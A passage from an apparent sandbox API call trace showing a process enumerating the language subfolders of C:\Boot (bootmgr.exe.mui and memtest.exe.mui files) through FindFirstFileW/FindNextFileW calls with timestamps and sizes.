| out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.411] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0213.411] GetProcessHeap () returned 0xc10000 [0213.411] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.411] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="el-GR", cAlternateFileName="")) returned 1 [0213.411] GetProcessHeap () returned 0xc10000 [0213.411] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.411] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.411] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.411] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.412] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.412] FindClose (in: hFindFile=0x33e4b28 | out: hFindFile=0x33e4b28) returned 1 [0213.412] GetProcessHeap () returned 0xc10000 [0213.412] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.412] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="en-GB", cAlternateFileName="")) returned 1 [0213.412] GetProcessHeap () returned 0xc10000 [0213.412] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0213.412] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.412] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.412] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.412] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0213.412] GetProcessHeap () returned 0xc10000 [0213.413] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.413] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="en-US", cAlternateFileName="")) returned 1 [0213.413] GetProcessHeap () returned 0xc10000 [0213.413] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.413] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.413] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.413] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.413] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.413] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.413] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0213.413] GetProcessHeap () returned 0xc10000 [0213.413] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.413] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="es-ES", cAlternateFileName="")) returned 1 [0213.413] GetProcessHeap () returned 0xc10000 [0213.413] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.414] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.414] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.414] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.414] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.414] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0213.414] GetProcessHeap () returned 0xc10000 [0213.414] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.414] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="es-MX", cAlternateFileName="")) returned 1 [0213.414] GetProcessHeap () returned 0xc10000 [0213.414] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-MX\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0213.414] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.414] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.415] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.415] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0213.415] GetProcessHeap () returned 0xc10000 [0213.415] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.415] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="et-EE", cAlternateFileName="")) returned 1 [0213.415] GetProcessHeap () returned 0xc10000 [0213.415] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\et-EE\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0213.415] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.415] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.415] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.415] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0213.415] GetProcessHeap () returned 0xc10000 [0213.415] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.416] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0213.416] GetProcessHeap () returned 0xc10000 [0213.416] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0213.416] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.416] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.416] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.416] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.416] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0213.416] GetProcessHeap () returned 0xc10000 [0213.416] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.416] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, 